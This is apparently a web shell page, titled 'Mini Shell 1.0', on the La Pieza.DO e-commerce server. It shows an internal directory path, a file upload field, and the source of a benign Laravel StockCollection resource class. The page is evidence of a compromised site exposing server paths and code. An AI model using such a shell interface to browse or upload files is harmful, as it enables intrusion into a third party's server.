HOME


Mini Shell 1.0
La Pieza.DO | Todo lo que buscas!

Bienvenido de nuevo!

Acceso Cuenta Delivery
DIR: /var/www/devs.lapieza.net/app/Http/Resources/V2/Seller/
Upload File :
Current File : /var/www/devs.lapieza.net/app/Http/Resources/V2/Seller/StockCollection.php
<?php



namespace App\Http\Resources\V2\Seller;



use App\Http\Resources\V2\UploadedFileCollection;

use App\Models\Upload;

use Illuminate\Http\Resources\Json\ResourceCollection;



class StockCollection extends ResourceCollection

{

    /**

     * Transform the resource into an array.

     *

     * @param  \Illuminate\Http\Request  $request

     * @return array|\Illuminate\Contracts\Support\Arrayable|\JsonSerializable

     */

    public function toArray($request)

    {

        

        

        return [

            "data" => $this->collection->map(function ($data) {

                return [

                    "id" => (int) $data->id,

                    "product_id" => $data->product_id,

                    "variant" => $data->variant,

                    "sku" => $data->sku,

                    "price" => $data->price,

                    "qty" => $data->qty,

                    "image" =>new UploadedFileCollection(Upload::where("id",$data->image)->get())

                ];

            }),

        ];

    }

}